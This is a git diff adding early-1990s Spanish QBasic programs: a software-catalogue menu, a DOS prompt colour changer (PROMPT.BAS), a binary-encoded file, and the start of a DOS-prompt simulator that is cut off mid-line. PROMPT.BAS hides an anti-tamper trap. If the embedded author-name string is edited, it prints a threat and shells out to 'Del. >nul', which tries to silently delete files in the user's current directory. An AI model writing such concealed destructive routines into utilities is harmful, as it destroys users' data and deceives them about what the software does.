³± ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ"; +PRINT "³ ³± Jos‚ David Guill‚n '93 ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ"; +PRINT "³ Pgr. Electronica ³± " +PRINT "³ ³±" +PRINT "³ Graficos ³± ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Utilidades ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Copiones ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Lenguajes ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Anti_virus ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ - MENé PRINCIPAL - ³± ³ ³±"; +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +RETURN + +menu2: +COLOR 7, 1, 1 +LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±"; +LOCATE 3, 32: PRINT "³ Men£ actual: MENé PRINCIPAL ³±"; +LOCATE 4, 32: PRINT "³ ³±"; +LOCATE 5, 32: PRINT "³ Imprimir Lista ³±"; +LOCATE 6, 32: PRINT "³ Grabar programas elegidos ³±"; +LOCATE 7, 32: PRINT "³ ³±"; +LOCATE 8, 32: PRINT "³ Creditos ³±"; +LOCATE 9, 32: PRINT "³ ³±"; +LOCATE 10, 32: PRINT "³ Men£ de Datos ( JD ) ³±"; +LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ "; +LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +COLOR 9, 1, 1 +LOCATE 10, 39: PRINT "Men£ de Datos ( JD )" +COLOR 7, 1, 1 +RETURN + +menu3: +COLOR 7, 1, 1 +LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±"; +LOCATE 3, 32: PRINT "³ Men£ actual: Men£ de Datos ( JD ) ³±"; +LOCATE 4, 32: PRINT "³ ³±"; +LOCATE 5, 32: PRINT "³ Introducir nuevos programas ³±"; +LOCATE 6, 32: PRINT "³ Borrar programas ³±"; +LOCATE 7, 32: PRINT "³ ³±"; +LOCATE 8, 32: PRINT "³ Introducir mensaje ³±"; +LOCATE 9, 32: PRINT "³ ³±"; +LOCATE 10, 32: PRINT "³ Visionar / Borrar pedidos ³±"; +LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ "; +LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +COLOR 7, 1, 1 +RETURN + + + + +cargachar: +lec$(1) = "þ JUEGOS " +lec$(2) = "þ MUSICA " +lec$(3) = "þ PROCESADORES DE TEXTOS" +lec$(4) = "þ PGRS. CONTABILIDAD " +lec$(5) = "þ PGRS. ELECTRONICA " +lec$(6) = "þ GRAFICOS " +lec$(7) = "þ UTILIDADES " +lec$(8) = "þ COPIONES " +lec$(9) = "þ LENGUAJES " +lec$(10) = "þ ANTI_VIRUS " +lec$(11) = " - Men£ Principal - " +lot$(1) = " Juegos " +lot$(2) = " Musica " +lot$(3) = " Procesadores de textos " +lot$(4) = " Pgr. Contabilidad " +lot$(5) = " Pgr. Electronica " +lot$(6) = " Graficos " +lot$(7) = " Utilidades " +lot$(8) = " Copiones " +lot$(9) = " Lenguajes " +lot$(10) = " Anti_virus " +lot$(11) = " - MENé PRINCIPAL - " + +lec2$(1) = "þ IMPRIMIR LISTA " +lec2$(2) = "þ GRABAR PROGRAMAS ELEGIDOS " +lec2$(3) = "þ CREDITOS " +lec2$(4) = "þ MENé DE DATOS ( JD ) " +lot2$(1) = "Imprimir Lista " +lot2$(2) = "Grabar programas elegidos " +lot2$(3) = "Creditos " +lot2$(4) = "Men£ de Datos ( JD ) " + +lec3$(1) = "þ INTRODUCIR NUEVOS PROGRAMAS" +lec3$(2) = "þ BORRAR PROGRAMAS " +lec3$(3) = "þ INTRODUCIR MENSAJE " +lec3$(4) = "þ VISIONAR / BORRAR PEDIDOS " +lot3$(1) = "Introducir nuevos programas " +lot3$(2) = "Borrar programas " +lot3$(3) = "Introducir mensaje " +lot3$(4) = "Visionar / Borrar pedidos " +RETURN +END + + + +limlin: +'(LIM)ite -de- (LIN)ea +'Lon=longitud lin=linea col=columna tipo$=" ..z" +LOCATE lin, col: PRINT "þ" +FOR A = 1 TO lon +X: +A$ = INKEY$: IF A$ = "" THEN GOTO X +IF A$ = CHR$(13) THEN GOTO finsec +IF A$ = CHR$(27) THEN GOTO limlin +IF A$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar + +borra: +A = A - 1: IF A < 1 THEN A = 1 +LOCATE lin, col + A - 1: PRINT " ": LOCATE lin, col + A - 1: PRINT "þ ": GOTO X + +ponchar: +IF A$ < LEFT$(tipo$, 1) OR A$ > RIGHT$(tipo$, 1) THEN GOTO X +IF A = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$ +LOCATE lin, col + A - 1: PRINT A$; : IF A <> lon THEN PRINT "þ" ELSE GOTO X +NEXT A + +finsec: +texto$ = "": FOR I = 1 TO lon +IF CHR$(SCREEN(lin, col + I - 1)) = "þ" THEN texto$ = texto$ + " " ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + I - 1)) +NEXT +LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1 +PLAY "b64": RETURN + +corrector: +IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif +IF ERR = 27 THEN GOTO nohaypapel +GOTO fallonoloc +contrif: +RESUME NEXT +END + +nohaypapel: +COLOR 14, 1, 1 +BEEP +LOCATE 13, 34: PRINT "No hay papel." +sleep=20 +LOCATE 13, 34: PRINT " " +GOTO il + +fallonoloc: +COLOR 15, 1, 1 +LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM" +LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).." +rti: +IF INKEY$ = "" THEN GOTO rti +GOTO principiodelprincipio +tipodeficha: +IF f = 1 THEN Tf$ = "1" +IF f = 2 THEN Tf$ = "2" +IF f = 3 THEN Tf$ = "3" +IF f = 4 THEN Tf$ = "4" +IF f = 5 THEN Tf$ = "5" +IF f = 6 THEN Tf$ = "6" +IF f = 7 THEN Tf$ = "7" +IF f = 8 THEN Tf$ = "8" +IF f = 9 THEN Tf$ = "9" +IF f = 0 THEN Tf$ = "0" +IF f = 10 THEN Tf$ = "0" +RETURN + + + + +help: +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT "Ayuda basica, JD." +LOCATE 16, 34: PRINT "Use los cursores, para acceder a" +LOCATE 17, 34: PRINT "los men£s." +LOCATE 18, 34: PRINT "Presione intro para 'entrar'." +LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu." +LOCATE 21, 34: PRINT " Pulse una tecla" +retorico: +IF INKEY$ = "" THEN GOTO retorico +COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT +RETURN +END + +finp: +COLOR 7, 1, 1 +CLS +PRINT " JD, Catalogo vú3.1 " +PRINT : PRINT "Gracias por utilizar este sofware." +PRINT : PRINT "Devuelveme este disco cuando acabes." +PRINT " Gracias..." + +END + + diff --git a/BAS/PROMPT.BAS b/BAS/PROMPT.BAS new file mode 100644 index 0000000..3787a24 --- /dev/null +++ b/BAS/PROMPT.BAS @@ -0,0 +1,271 @@ +'*************************************************************************** +'* Cambiador de color del Prompt del Dos, en Qbasic por Jos‚ David Guill‚n * +'*************************************************************************** +CLS +LOCATE 1, 1 +PRINT +PRINT : PRINT : PRINT +PRINT " ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿" +PRINT " ³ Tipo ³ 1§ Plano ³ 2§ Plano ³ ³ Texto 1§ ³ Fondo 2§ ³ Tipo 2§ ³" +PRINT " ÃÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´" +PRINT " ³ ³ ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³ ³ ³" +PRINT " ÀÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÙ" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ³ ³ ³ ³ ³ ³" +PRINT " ÀÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ" +PRINT : PRINT : PRINT : PRINT +COLOR 15, 0 +PRINT "Texto de prueba:" +PRINT +LOCATE 25, 1: PRINT " Use los CURSORES para desplazarse y F2 para terminar"; + + +CONST TRUE = -1 +CONST false = NOT TRUE +CurrRow(1) = 2: Col(1) = 5 +CurrRow(2) = 8: Col(2) = 16 +CurrRow(3) = 8: Col(3) = 27 +CurrRow(4) = 8: Col(4) = 41 +CurrRow(5) = 8: Col(5) = 52 +CurrRow(6) = 2: Col(6) = 63 +CurrRowOld(1) = 1 +CurrRowOld(2) = 8 +CurrRowOld(3) = 1 +CurrRowOld(4) = 8 +CurrRowOld(5) = 1 +CurrRowOld(6) = 1 +CurrColO = 1 +CurrRow = 1: CurrCol = 1 +CurrRowOld = 1 + +mo$(1) = " Tipo " +mo$(2) = " 1§ Plano " +mo$(3) = " 2§ Plano " +mo$(4) = " Texto 1§ " +mo$(5) = " Fondo 2§ " +mo$(6) = " Tipo 2§ " + +men$(1) = "Habilitado" +men$(2) = " Inabil. " +men$(3) = "Habilitado" +men$(4) = " Inabil. " + +man$(1) = " Negro " +man$(2) = " Rojo " +man$(3) = " Verde " +man$(4) = " Amarillo " +man$(5) = " Azul " +man$(6) = " Magneta " +man$(7) = " Cian " +man$(8) = " Blanco " + FOR C = 1 TO 8 + LOCATE C + 7, Col(2): COLOR 14, 0 + PRINT man$(C) + LOCATE C + 7, Col(3): COLOR 14, 0 + PRINT man$(C) + LOCATE C + 7, Col(4): COLOR 14, 0 + PRINT man$(C) + LOCATE C + 7, Col(5): COLOR 14, 0 + PRINT man$(C) + NEXT +CurrRowt(1) = 1 +CurrRowt(2) = 1 +CurrRowt(3) = 1 +CurrRowt(4) = 1 +CurrRowt(5) = 1 +CurrRowt(6) = 1 + +GOSUB MoveLin + +finished = false + +DO + + DO + kdb$ = INKEY$ + LOOP WHILE kdb$ = "" + + SELECT CASE kdb$ + CASE CHR$(0) + "H" 'Up Arrow + CurrRowOld = CurrRow + CurrRow = CurrRow - 1 + IF CurrRow < 1 THEN CurrRow = CurrRow(CurrCol) + CurrRowt(CurrCol) = CurrRow + GOSUB MoveLin + CASE CHR$(0) + "P" 'Down Arrow + CurrRowOld = CurrRow + CurrRow = CurrRow + 1 + IF CurrRow > CurrRow(CurrCol) THEN CurrRow = 1 + CurrRowt(CurrCol) = CurrRow + GOSUB MoveLin + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab + CurrRowOld(CurrCol) = CurrRow + CurrColO = CurrCol + CurrCol = CurrCol - 1 + IF CurrCol = 0 THEN CurrCol = 6 + IF CurrCol = 1 AND CurrRow > 2 THEN CurrRow = 2 + CurrRow = CurrRowOld(CurrCol) + IF CurrCol = 6 OR CurrCol = 1 THEN CurrRowOld = CurrRow + GOSUB MoveLin + CASE CHR$(0) + "M", CHR$(9) 'Right or Tab + CurrRowOld(CurrCol) = CurrRow + CurrColO = CurrCol + CurrCol = CurrCol + 1 + IF CurrCol = 7 THEN CurrCol = 1 + IF CurrCol = 1 AND CurrRow > 2 THEN CurrRow = 2 + CurrRow = CurrRowOld(CurrCol) + IF CurrCol = 6 OR CurrCol = 1 THEN CurrRowOld = CurrRow + GOSUB MoveLin + + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE ELSE + BEEP + END SELECT + +LOOP WHILE finished = false + LOCATE 23, 1: PRINT "¨Desea sumar el Prompt a la cola del Autoexec.bat (S/N)? " + + DO: kdb$ = INKEY$: LOOP WHILE kdb$ = "" + + OPEN "prom.bat" FOR OUTPUT AS #1 + PRINT #1, "Echo off" + PRINT #1, "CLS" + portero$ = RTRIM$(LTRIM$(STR$(CurrRowt(1) - 1))) + ";3" + RTRIM$(LTRIM$(STR$(CurrRowt(2) - 1))) + ";4" + RTRIM$(LTRIM$(STR$(CurrRowt(3) - 1))) + wer$ = "Prompt $e[" + portero$ + "m$p$g$e[" + RTRIM$(LTRIM$(STR$(CurrRowt(6) - 1))) + ";3" + RTRIM$(LTRIM$(STR$(CurrRowt(4) - 1))) + ";4" + RTRIM$(LTRIM$(STR$(CurrRowt(5) - 1))) + "m" + PRINT #1, wer$ + PRINT #1, "echo Prompt por Jos‚ David Guill‚n 1994 (c)" + CLOSE + + IF UCASE$(kdb$) = "S" THEN + SHELL "copy c:\autoexec.bat+c:prom.bat" + ELSE + LOCATE 22, 1: PRINT SPACE$(80); + LOCATE 23, 1: PRINT "Se creo un archivo de nombre PROM.BAT con el Prompt " + LOCATE 24, 1: PRINT SPACE$(80); + LOCATE 25, 1: PRINT SPACE$(80); + LOCATE 25, 1 + END IF +SYSTEM +END + +MoveLin: + COLOR 7, 0 + LOCATE 6, Col(CurrColO) + PRINT mo$(CurrColO) + COLOR 3, 0 + LOCATE 6, Col(CurrCol) + PRINT mo$(CurrCol) + + LOCATE CurrRowOld + 7, Col(CurrCol): COLOR 14, 0 + + IF CurrRowOld(1) = 1 THEN h = 1 ELSE h = 0 + IF CurrRowOld(6) = 1 THEN hdos = 1 ELSE hdos = 0 + IF CurrCol = 1 OR CurrCol = 6 THEN PRINT men$(CurrRowOld) ELSE PRINT man$(CurrRowOld) + + LOCATE CurrRow + 7, Col(CurrCol): COLOR 14, 15 + + IF CurrCol = 1 OR CurrCol = 6 THEN PRINT men$(CurrRow) ELSE PRINT man$(CurrRow) + + IF h = 0 THEN + SELECT CASE CurrRow + CASE 1: Txto = 0 + CASE 2: Txto = 12 + CASE 3: Txto = 10 + CASE 4: Txto = 14 + CASE 5: Txto = 9 + CASE 6: Txto = 13 + CASE 7: Txto = 11 + CASE 8: Txto = 15 + END SELECT + ELSE + SELECT CASE CurrRow + CASE 1: Txto = 0 + CASE 2: Txto = 4 + CASE 3: Txto = 2 + CASE 4: Txto = 14 + CASE 5: Txto = 1 + CASE 6: Txto = 5 + CASE 7: Txto = 3 + CASE 8: Txto = 7 + END SELECT + END IF + + IF CurrCol = 2 THEN + Texto = Txto + ELSEIF CurrCol = 3 THEN + fondo = Txto + END IF + + IF hdos = 0 THEN + SELECT CASE CurrRow + + CASE 1: Txtow = 0 + CASE 2: Txtow = 12 + CASE 3: Txtow = 10 + CASE 4: Txtow = 14 + CASE 5: Txtow = 9 + CASE 6: Txtow = 13 + CASE 7: Txtow = 11 + CASE 8: Txtow = 15 + END SELECT + ELSE + SELECT CASE CurrRow + CASE 1: Txtow = 0 + CASE 2: Txtow = 4 + CASE 3: Txtow = 2 + CASE 4: Txtow = 14 + CASE 5: Txtow = 1 + CASE 6: Txtow = 5 + CASE 7: Txtow = 3 + CASE 8: Txtow = 7 + + END SELECT + END IF + + IF CurrCol = 4 THEN + Despues = Txtow + ELSEIF CurrCol = 5 THEN + DespuesDos = Txtow + END IF + + + COLOR Texto, fondo + minombre$ = "Jos‚ David Guill‚n Dominguez" + + IF MID$(minombre$, 4, 1) <> "‚" THEN GOTO errormo + IF MID$(minombre$, 17, 1) <> "‚" THEN GOTO errormo + + LOCATE 23, 17: PRINT minombre$; + COLOR Despues, DespuesDos + LOCATE 23, 47: PRINT "(c) 07/02/1994" + + COLOR 7, 0 + portero$ = RTRIM$(LTRIM$(STR$(CurrRowt(1) - 1))) + "; 3" + RTRIM$(LTRIM$(STR$(CurrRowt(2) - 1))) + "; 4" + RTRIM$(LTRIM$(STR$(CurrRowt(3) - 1))) + wer$ = "Prompt $e[ " + portero$ + "m $p $g $e[ " + RTRIM$(LTRIM$(STR$(CurrRowt(6) - 1))) + "; 3" + RTRIM$(LTRIM$(STR$(CurrRowt(4) - 1))) + "; 4" + RTRIM$(LTRIM$(STR$(CurrRowt(5) - 1))) + LOCATE 1, 1: PRINT wer$ + "m" + +RETURN +END + +errormo: +CLS +COLOR 15, 0 +PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT +PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT +PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT +PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT +PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT +PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : " +PRINT " (S)istema (B)loquear (S/B)" +SHELL "Del. >nul" +SYSTEM +END + + + + diff --git a/BAS/PROVEED.BAS b/BAS/PROVEED.BAS new file mode 100644 index 0000000000000000000000000000000000000000..4ec4ea4454140383dbb236ddc26b34491d04e3cf GIT binary patch literal 19163 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 VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$ + + +PRINT "C:\"; LTRIM$(RTRIM$(ch$)); : INPUT ">", a$ +IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO simulador +IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT "Comando o nombre de archivo incorrecto": GOTO simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN + IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO simulador + con = 0: L = 0: lug = 0: p = 0 + DO + con = con + 1 + L = L - 1 + IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO simulador + IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$))) + LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$))) + IF p = 1 THEN ch$ = "": vez = 0: GOTO simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO 